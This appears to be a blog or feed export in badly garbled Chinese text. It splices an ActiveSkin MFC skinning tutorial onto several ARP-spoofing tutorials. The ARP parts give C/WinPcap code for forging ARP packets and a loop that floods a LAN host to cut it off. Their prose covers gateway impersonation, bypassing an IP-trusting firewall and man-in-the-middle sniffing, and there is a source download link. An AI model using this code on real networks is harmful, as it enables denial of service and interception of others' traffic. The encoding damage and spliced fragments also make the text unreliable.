??xml version="1.0" encoding="utf-8" standalone="yes"?>
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ActiveSkin是一Ƅ软g更换皮肤的ActiveX控g。它很还好的Y件界面设计工作从J琐E序代码~写中解攑և来,使得功能设计者可以专心于功能代码的实玎ͼ而把软g界面交给工人员处理。提高了界面设计的工作效率,是一U很好的软g设计思想?br />
下面通过三个CZ来介l他的一般用?br />
CZ一Q?/b>标准型皮肤SkinForm的对话框工程
在VC环境下徏立一个MFC基本对话框工E。在对话框的资源文g里Dlg.rc设计对话框界面中Q删d有的按钮Buttons和标{LablesQƈ插入ActiveSkin的ActiveX控gQ命名ؓIDC_SKIN。右键点击ActiveSkin控gQ在ActiveX属性里选择LoadSkin菜单,可预先加载一个Skin文g?br />在StdAfx.h?//{{AFX_INSERT_LOCATION}} 之前d以下语句Q?
//目的是导入ActiveSkin的函数接口库? #include <atlbase.h> #import "actskn43.ocx" no_implementation raw_interfaces_only raw_native_types using namespace ACTIVESKINLib;接着Q在Dlg.cpp文g里添加语句:
CComQIPtr<ISkin> m_pSkin=GetDlgItem(IDC_SKIN)->GetControlUnknown();//m_pSkin是应用程序全局量? m_pSkin->LoadSkin(L"皮肤文gX的\?);//如果ActiveSkin控g中已有皮肤,此句可省略? m_pSkin->ApplySkin((int)m_hWnd);~译q行Q可以看到皮肤文件X成ؓ了程序的q行界面。如果想要在E序q行时更换皮肤,那也是可以的。在对话框上建立一个ButtonQƈdClick事gQ?
void CMy1Dlg::OnBNewSkin() { static char BASED_CODE szFilter[] = "ActiveSkin Files (*.skn)|*.skn||";//文gqo器设|? CFileDialog dlg(FALSE, ".skn", NULL, OFN_HIDEREADONLY, szFilter);//Skin文g选择H口? if (dlg.DoModal() == IDOK)//Skin文g选择成功Q? { USES_CONVERSION; m_pSkin->LoadSkin(T2W(dlg.GetPathName()));//载入指定的Skin文g? m_pSkin->ApplySkin((int)m_hWnd);//使当前Skin生效? } }你会发现q行时主H口已经换肤成功了,但“关于”对话框{非ȝ口ƈ没变化。需要在AboutDlg的OnInitDialog()事g中加入一句:
m_pSkin->ApplySkin((int)m_hWnd);再运行就一切Ok了!
BOOL bRes = CMDIChildWnd::Create(lpszClassName, lpszWindowName, dwStyle, rect, pParentWnd, pContext); m_pSkin->ApplySkin((long)m_hWnd); return bRes;q样可以了?
if(FAILED(m_pSkin->LoadSkin(Temp))|| //均用LoadSkin()装蝲某一SkinQ参数是Skin文g的\径名? FAILED(m_pSkin->ApplySkinByName((long)m_hWnd, L"FreeForm"))) //SkinFormcd的皮肤用ApplySkin使其生效Q? //q种方式会自动将某Skin中的所有SkinObject元素替代指定Handle的窗口? //SkinFreeFormcd的皮肤用ApplySkinByName()使其生效Q? //其中W一个参数是H口句柄Q第二个参数是SkinBuilder中一个Object的名字? { MessageBox("Could not load or apply the skin."); PostMessage(WM_CLOSE); return FALSE; }事g驱动的区别:SkinForm换肤时不影响E序代码的原事g工作方式Q只是界面上的换肤,因而SkinForm::ApplySkin(Handle)OK了;但是SkinFreeForm׃同了Q它必须用一个消息܇Q采用消息的方式使程序获得Skin上的事gQ而且在其事g中采用ISkinObject::GetName(BSTR *)获得相关的皮肤元素,用GetSkinnedWindow(hWnd).FindObject("Screen")来获取相应的元素句柄讄元素状态。简单的消息泵可以通过Skin控g上右键Event讄q编写?br /> 具体实现LCZ源代码。示例在使用前请安装好ActiveSkin4.3Q可能还需要修改事例中Skin控g初始的LoadSkin(Skin文g)才能正常使用
关于讨论ARP哄骗的文章,黑防在第8期的《小HARP协议》和W?期《ARP SPOOF DoS攻防详谈》均有介l,不过Q俗话说Q授人鱼Q不如授Z渔,更多的读者也许期待的是如何将其原理和~程实现l合。本文的着W点正是Zq样的目的,更是对上qC文章的一个补充,希望能给读者们真正理解ARPd的实质,同时Q也l部分想学习而又x学习WinPcap的读者一些“师傅领q门”的感受?br />【以下测试环境ؓWinXPsp1 + VC6.0sp6 + WinPcap3.14betaQ其中,必须安装WinPcap3.0以上版本的驱动。?br />首先Q我们通过例子来回一下ARP哄骗和攻ȝ原理吧。先来做个实验,先打开一个cmdH口Q输入arp –aQ该命o表示通过询问当前协议数据来查看本机ARP~存保存的入口地址?
上面表示作者本人的LIP?92.168.3.155Q现在ARP~存里只有两条IP?92.168.3.253?92.168.3.254的ARP~存记录Q很昄Q两IP是作者主机所在局域网的网养I嘿嘿Q校园网和ADSLQ,它的MAC地址?*-**-18-23-b8-10?*-**-4c-78-22-22Q类型ؓdynamicQ即动态缓存?br />然后Qping同一局域网内的另一IP?92.168.3.162的主机,再次输入arp –aQ得到结果?br />看到Q虽然PING不通,但ARP~存却刷CQ添加了192.168.3.162q一记录,q显C其MAC地址?*-**-ab-31-5c-3cQ类型也是dynamicQ显ӞҎ开了防火墙q设|了止内发的PING包,但是仍然暴露了该L是活动主机的事实Q而且Ҏ的ARP~存因此而刷新?/p>
好了Q到现在Q我们可以把目标定ؓQ伪?92.168.3.155的MAC地址?1-22-33-44-55-66Q以辑ֈ哄骗的目的。我们以此ؓ基点Q先q入~码的部分。因为整个ARP Spoof&Dos都在交换环境的局域网内,涉及到的都是MAC层的通信Q所以定义以太网首部和ARP首部成为必要的了,q样我们才可以构造伪数据包,如下Q?br />typedef struct ehhdr
{
unsigned char eh_dst[6]; /* 目标以太|地址*/
unsigned char eh_src[6]; /* 源以太网地址 */
unsigned short eh_type; /* 以太|包cd */
}EHHDR, *PEHHDR;
typedef struct arphdr
{
unsigned short arp_hrd; /* g地址格式 */
unsigned short arp_pro; /* 协议地址格式 */
unsigned char arp_hln; /* g地址长度 */
unsigned char arp_pln; /* 协议地址长度 */
unsigned short arp_op; /* ARP/RARP 操作 */unsigned char arp_sha[6]; /* 源发送者硬件地址 */
unsigned long arp_spa; /* 源发送者协议地址 */
unsigned char arp_tha[6]; /* 目标g地址 */
unsigned long arp_tpa; /* 目标协议地址 */
}ARPHDR, *PARPHDR;
每个字段在注释里讲的很详l了Q如果有疑问Q可以查阅TCP/IP相关书籍。下一步,W者的Spoof实现需要输?个IP地址外加一个可选的|卡地址Q所以就涉及到解析输入的L名或IP的实玎ͼq个怿很多写过|络E序的读者都不陌生,如下Q?br />DWORD ResolveAddr(const char* host)
{
PHOSTENT hp;
DWORD host_ip;
host_ip = inet_addr(host); /* 转换成网l地址 */
/* 如果是主机名或域名,非点?0q制IP */
if (host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if ( hp == NULL)
{
printf("\nError: could not resolv hostname %s\n", host);
exit(1);
}
else
host_ip = *(DWORD*)(hp->h_addr_list[0]); /* 转换?2位网l地址 */
}return host_ip;
}
然后Q需要定义一个GetInterface()函数Q顾名思义Q就是获得本C机网l接口的意思,因ؓZWinPcap的几乎所有应用程序都需要选择合适的|卡适配器。(很多刚接触WinPcap的读者可能会感到很惶恐,好像WinPcap所用的API函数让很多WindowsE序员一下子接收不了Q其实很正常Q用的多了,看的多了Q慢慢的Q我怿读者门会越来越喜欢强大的WinPcap的)GetInterface()定义如下Q?br />pcap_t* GetInterface()
{
pcap_t *fp;
char errbuf[PCAP_ERRBUF_SIZE]; /* define PCAP_ERRBUF_SIZE 256 */
int i, inum;
pcap_if_t *alldevs, *d;
/*取得讑֤列表*/
if(pcap_findalldevs(&alldevs, errbuf) < 0) {
fprintf(stderr,"Error in pcap_findalldevs: %s\n", errbuf);
exit(1);
}
/* 打印讑֤列表*/
i = 0;
printf("\n\nInterfaces list:\n\n");
for(d = alldevs; d; d = d->next) {
printf("%d. %s", ++i, d->name);
if(d->description) printf(" (%s)\n", d->description);
else printf(" (No description available)\n");
}
if(i == 0) {
printf("\nNo interfaces found! Make sure WinPcap is installed.\n");
pcap_freealldevs(alldevs);
exit(1);
}
if(i > 1) {
printf("\n\nEnter the interface number (1 - %d): ",i);
scanf("%d", &inum);
if(inum < 1 || inum > i) {
printf("\nInterface number out of range.\n");
pcap_freealldevs(alldevs);
exit(1);
}
} else inum = 1;/* 跛_被选择的网卡适配器接?*/
inum--;
for(d = alldevs, i = 0; i < inum; d = d->next, i++);
fprintf(stderr, "\n\nAdapter used: %s\n\n", d->name);
/* 从网l上打开zd的捕莯为,q回一个pcap_tcd描述W?*/
fp = pcap_open_live(d->name, 65535, 1, 1000, errbuf);
if(fp == NULL) {
printf("\nError: %s\n", errbuf);
pcap_freealldevs(alldevs);
exit(1);
}
/* 释放pcap_findalldevs()打开的接口列?/
pcap_freealldevs(alldevs);return(fp);
}
上面的注释已l比较清楚了Q所有的涉及到的WinPcap的结构体和API函数Q以及基于WinPcapE序的编译方法,大家都可以到http://winpcap.polito.it/在线查询或把文档下蝲后本机查询,或者到论坛询问。在我的代码里,我假讑֦果用戯入可选的伪MAC地址Q则使用q个自定义的伪MAC地址Q如果不输入Q则使用随机产生的伪MAC地址Q代码部分如下:
if (!argv[3])
{
sprintf((char*)mac, "%c%c%c%c%c%c",
rand(), rand(), rand(), rand(), rand(), rand());
}
else
{
for(i=0; i<ETHERLEN; i++)
{
sscanf(argv[3], "%02X", &tmp);
mac[i] = tmp;
argv[3] += 3;
}
}
Z得到ql时钟生的随机敎ͼ必须在头文g里加?#include <time.h>Q在E序里加入srand(time(NULL));
WSAStartup(MAKEWORD(2, 2), &wsaData); /*初始化win sock?/
ip_add = ResolveAddr(argv[1]);
ip_dst = ResolveAddr(argv[2]);
WSACleanup(); /* 用完了,C释放?*/
Z使用winsock2头文Ӟ要指?pragma comment(lib, "ws2_32.lib")来包含ws2_32.lib库文件。下面就C自定义构造以太头和ARP头了Q这是我们伪造MAC的加工厂Q?br />memcpy(ether->eh_dst, DEST, ETHERLEN);
memcpy(ether->eh_src, mac, ETHERLEN);
ether->eh_type = htons(ETHERTYPE_ARP); /* #define ETHERTYPE_ARP 0x0806 */
arphdr->arp_hrd = htons(ARPHRD_ETHER);
arphdr->arp_pro = htons(ETHERTYPE_IP);
arphdr->arp_hln = ETHERLEN;
arphdr->arp_pln = PROTOLEN;
arphdr->arp_op = htons(ARPOP_REQUEST); /* h服务 */
memcpy(arphdr->arp_sha, mac, ETHERLEN); /* 伪源MAC地址 */
arphdr->arp_spa = ip_add; /* 伪源ARP 协议地址*/
memcpy(arphdr->arp_tha, SOURCE, ETHERLEN); /* 伪目标MAC地址 */
arphdr->arp_tpa = ip_dst; /* 伪目标ARP协议地址 */
q里所有的宏都可以在我提供的arp.h头文仉得到对应的定义。每一w很清晎ͼ主要是构造最后的几项Q有注释的行Q,那里是滋生罪恶的源头?br />伪MAC包构造好了,最后剩下的是发送伪数据包了Q再ơ发挥WinPcap库的发包函数Q如下:
pcap_sendpacket(fp, buff, sizeof(buff)) ;
到这Q可以长嘘一口气Q大g声“打完收工”,让我们测试一下成果,看是否能辑ֈ我们最开始预定的目标。输?arpspoof.exe 192.168.3.155 192.168.3.125 11-22-33-44-55-66
首先Q提C入接口号Q因为WinPcap库必选择正确的网卡适配器接口,在笔者机子上Q安装了2个虚拟机Q所以有4个接口,2h口代表本pȝ|卡接口Q所以?Q你的可能不同哦Q,回R后,发现右下脚马上提CIP地址冲突…嘿嘿,我们来分析一下,arpspoof.exe是我们哄骗程序,192.168.3.155是笔者的IP地址Q?92.168.3.162是同一局域网内另一LIPQ就是把192.168.3.155地址的MAC地址11Q?2Q?3Q?4Q?5Q?6d?92.168.3.162q台L的动态ARP~存里,dq后Q?92.168.3.162的ARP~存?br />刚才我把自己的IP当做参数一D了自qIP冲突Q那如果我想?92.168.3.162q台机子产生IP冲突Q就可以调换一下参C和参C的位|,?br />大家x什么原理,呵呵Q这里我׃多说了。如果想隐瞒作ؓd者的IP,W?个参数可以改成网D内的Q意其他的IP。这P我们发v一ơ攻击,192.168.3.162的主机就产生一ơIP冲突Q但q样肯定是不够的Q每隔一D|_Ҏ的ARP~存׃h一ơ,所以,如果要进行一ơARP Dosd的话Q我们还必须不断的给他们发,以保证对方ARP~存始终是我们构造的伪MAC地址。实现很单,如下Q?br />while(1) {
if(pcap_sendpacket(fp, buff, sizeof(buff)) < 0) {
printf("\nError: problems for sending packet\n");
exit(1);
}
printf(".");
sleep(DELAY); /* q里?define DELAY (CLOCKS_PER_SEC >> 1) 卛_U?*/
}
dq程?br />点点pC每隔半U发送一ơARP包。结果是Q在被DoSd后,如果再次PING
192.168.3.162Q即使对方不开防火墙,也没有禁止INNER PINGQ却仍然PING不通,查看
自己的ARP~存Q我们发玎ͼҎ的MAC地址~程?0-00-00-00-00-00Q攻L功?br />结Q?br />在了解了ARP Spoof&Dosd的原理后Q实现v来就不那么难了。大学校园网常常因ؓIP资源的严重不发生同学们互抢IP的现象,有懂一点ARP哄骗的学生就用网l执法官{工P而不懂的的就只有Mh宰割Q如果你q是那被宰割的一部分Z的一个,那么看完了本文的你,是不是也该做点什么了呢。(在光盘的源代码文仉Q只提供了一个源代码文garpspoof.cppQ它的作用是实现l目标IPdARP~存Q而arpdos.cpp我没有提供,防止有h做坏事,呵呵Q如果你是真心抱着学习的态度Q那么我怿看完
四。ARP包的游戏
1 . 伎?/font>
2. ARPƺ骗的实?/font>
3. ZARPƺ骗的监听原?/font>
四.ARP包的游戏
既然我们可以自己来填充数据包Q那么来玩些
ARP
的“小游戏”欺骗就是易如反掌了Q当Ӟ是在没有安全防护的网l里
Q比如只?/span>
hub
或者交换机把你们相q,而没有\由分D?/span>
……^_^
下面我就由浅入深的讲一些介l一些关?/span> ARP 的小伎俩?/span>
1.
伎?/span>
1)
你可以试着发一个请求包q播Q其中的
ARP
帧里关于你的信息填成q样Q?/span>
(
Z节省幅Q我只写需要特别指出的填充字段
)
发送方MAC |
6 |
随便乱填一个错误的 |
发送方IP |
4 |
填上你的IP |
出现什么结果?是不是弹Z?/span>
IP
地址冲突的提C?呵呵Q同L道理Q如果发送方
IP
填成别h的,然后每隔
1
U发一?/span>
……?.-_-b
2)
比如你们都靠一个网?/span>
192.168.0.1
上网
Q如果你惌
192.168.0.77
上不了网Q就可以伪装成网关给
192.168.0.77
发一个错误的
ARP
响应?/span>
, like this
发送方MAC |
6 |
随便乱填一个错误的 |
发送方IP |
4 |
|关IP 192.168.0.1 |
接收方就?/span>
192.168.0.77
的相关信息,发送之后,它还能上|不Q?/span>
q样能折腾他好一阵子了,只要它的pȝ得不到正的到网关的
ARP
映射表它׃直上不了|了
^_^
呵呵cM的伎俩还有很多,不过只停留在q点东西上也没什么意思,q是看看E微高深一点的?/span> ^_^
2.
ARP
ƺ骗
因ؓ在以太网里,|络讑֤是?/span>
MAC
信息来识别的计算机的Q比?/span>
A
电脑知道
MAC
地址?/span>
22-22-22-22-22-22
的电脑是
B
Q而如果我l?/span>
A
发送一?/span>
ARP
响应包,告诉它我?/span>
MAC
?/span>
22-22-22-22-22-22
的话Q?/span>
A
同样会认为我的计机?/span>
B
了,那么好,我们设想有这么一个环境,
A
的防火墙只对
IP
?/span>
192.168.0.2 MAC
?/span>
22-22-22-22-22-22
?/span>
B
有信dp,而且
A
打开?/span>
21
端口提供
FTP
服务Q正常情况下因ؓ防火墙的~故我们的计机是连不到
A
的,
于是我们惛_法让
B down
掉,或者在它关机的时候,我们把我们的
IP
Ҏ
B
?/span>
192.168.0.2
Q然后给
A
发送一?/span>
ARP
回应包,告诉
A
更新一?/span>
ARP
~存列表Q?/span>
192.168.0.2
?/span>
IP
映射到我们的
MAC
地址上来Q于是,奇迹出现了,我们可以q到
A
?/span>
FTP
上了Q防火墙失效?/span>
^_^
不过q个办法只能在同|段内生效,如果我们?/span>
A
不在一个网D内Q那p复杂的多了,q要配合
ICMP
的重定向来控制报文的路由Q这个我准备在以后阐q?/span>
ICMP
包的时候详l讲解,׃再此多说了?/span>
3.
Z
ARP
ƺ骗的监听原?/span>
监听的技术有很多了,不过我们常用?/span>
sniffer
工具只能在基?/span>
hub
的网l中起作用,到哪怕是交换机都无能为力了,q个时候我们的
ARP
ƺ骗技术就z上用场了?/span>
q是假设有三C?/span>
A,B,
q有我们的主机,位于同一个交换式局域网?/span>
A
?/span>
B
正在通信Q如果我们想要刺?/span>
A
―?/span>
>B
通信的内容,于是我们可以给
A
发送一个伪造的
ARP
回应包,告诉
A
Q?/span>
B
?/span>
IP
对应?/span>
MAC
条目为我们的
MAC
地址Q于是,
A
也就会相应的h自己?/span>
ARP
~存Q将发给
B
的数据,源源不断的发送到我们的主Z来,q样我就可以Ҏ收到的数据包q行分析好了,辑ֈ了监听的目的。当Ӟ因ؓ动?/span>
ARP
~存是动态的Q有时旉的,所以我们必L隔一D|间就l?/span>
A
发送一?/span>
ARP
回应?/span>
虽然我们q样辑ֈ了目的,但是
A
?/span>
B
的通信却被停止了,Z不让
B
发现Q我们还要对每次接收到的数据包进行{发,全部都{发给
B
Q这样就天衣无缝?/span>
^_^
同样的,如果我们q想监听
B
à
A
的数据包Q一L
B
发一?/span>
ARP
回应包,告诉
B
Q?/span>
A
?/span>
IP
对应?/span>
MAC
是我们的L
MAC
Q于?/span>
B
?/span>
A
的数据包也源源不断的发到我们的主Z来了Q当然我们也是一栯对这些数据包q行转发Q如图:
A <------>
我们的主?/span>
<------>
B
一切都无误的话Q?/span>
A
?/span>
B
的通信内容p样不知不觉的被我们监听到?/span>
^_^
具体的代码实现由于篇q的关系我就不放在这里讲了,如果需要我׃门另写篇文章附上完整代码?/span>
xQ我们的
ARP
基础知识p完了Q但愿您能从中有所收获
后记Q?/span>
因ؓ本h开发都是?/span> VC++.net 2003 Q所以没有安?/span> .net 的朋友是打不开工程的, 可以试一?/span> vckbase 上的工程转换工具Q本人没有试q,不保证有?/span>
http://www.vckbase.com/tools/assist/prjconverter.rar
而且本文的代码用了
winpcap
开发包Q是要另外安?/span>
ainpcap
驱动?/span>
读者可以安装我代码包里的驱动,不过它更新很快,可以到它主页上去下蝲最新版?/span>
http://winpcap.polito.it/install/default.htm
不做开发的读者,只用下蝲q安装这个就可以?/span>
WinPcap auto-installer (driver +DLLs)
我的原文及源码下载地址E后贴出Q请x本帖 ^_^
源码下蝲地址Q新鲜出炉,非常感谢 _foo 兄弟提供的空?/font>
http://iunknown.com.cn/csdn/network/ARPPlayer_By_PiggyXP.rar
一Q?span style="FONT: 7pt 'Times New Roman'">
关于
ARP
协议的基知识
3. ARP包的填充
二。发送数据包的编E实?/span>
1.填充数据?/span>
.........................紧接上文............................
DLC Header
|
||
字段
|
长度(Byte)
|
填充?/font>
|
接收方MAC
|
6
|
ffffffffffff
|
发送方MAC
|
6
|
aaaaaaaaaaaa
|
Ethertype
|
2
|
0x0806
|
ARP Frame
|
||
字段
|
长度(Byte)
|
填充?/font>
|
gcd
|
2
|
1
|
上层协议cd
|
2
|
0800
|
MAC地址长度
|
1
|
6
|
IP地址长度
|
1
|
4
|
操作?/font>
|
2
|
1
|
发送方MAC
|
6
|
aaaaaaaaaaaa
|
发送方IP
|
4
|
192.168.0.1
|
接收方MAC
|
6
|
L?xxxxxxxxxxxx
|
接收方IP
|
4
|
192.168.0.99
|
填充数据
|
18
|
0
|
DLC Header
|
||
字段
|
长度(Byte)
|
填充?/font>
|
接收方MAC
|
6
|
bbbbbbbbbbbb
|
发送方MAC
|
6
|
aaaaaaaaaaaa
|
Ethertype
|
2
|
0x0806
|
ARP Frame
|
||
字段
|
长度(Byte)
|
填充?/font>
|
gcd
|
2
|
1
|
上层协议cd
|
2
|
0800
|
MAC地址长度
|
1
|
6
|
IP地址长度
|
1
|
4
|
操作?/font>
|
2
|
2
|
发送方MAC
|
6
|
aaaaaaaaaaaa
|
发送方IP
|
4
|
192.168.0.1
|
接收方MAC
|
6
|
bbbbbbbbbbbb
|
接收方IP
|
4
|
192.168.0.99
|
填充数据
|
18
|
0
|
二.
发?/span>
ARP
包的~程实现
1.
填充数据?/span>
上面的那些关?/span>
ARP
包各个字D늚表格Q对应在E序里就是结构体Q?/span>
对应于上面的表格Q?/span>
于是我们需要三个下面这Ll构?/span>
// DLC Header
typedef
struct tagDLCHeader
{
unsigned
char
DesMAC[6]; /* destination HW addrress */
unsigned
char
SrcMAC[6]; /* source HW addresss */
unsigned
short
Ethertype; /* ethernet type */
} DLCHEADER, *PDLCHEADER;
// ARP Frame
typedef
struct tagARPFrame
{
unsigned
short
HW_Type; /* hardware address */
unsigned
short
Prot_Type; /* protocol address */
unsigned
char
HW_Addr_Len; /* length of hardware address */
unsigned
char
Prot_Addr_Len; /* length of protocol address */
unsigned
short
Opcode; /* ARP/RARP */
unsigned
char
Send_HW_Addr[6]; /* sender hardware address */
unsigned
long
Send_Prot_Addr; /* sender protocol address */
unsigned
char
Targ_HW_Addr[6]; /* target hardware address */
unsigned
long
Targ_Prot_Addr; /* target protocol address */
unsigned
char
padding[18];
} ARPFRAME, *PARPFRAME;
// ARP Packet = DLC header + ARP Frame
typedef
struct tagARPPacket
{
DLCHEADER dlcHeader;
ARPFRAME arpFrame;
} ARPPACKET, *PARPPACKET;
q些l构体一定能看懂?/span> 在程序中是对号入好?/span>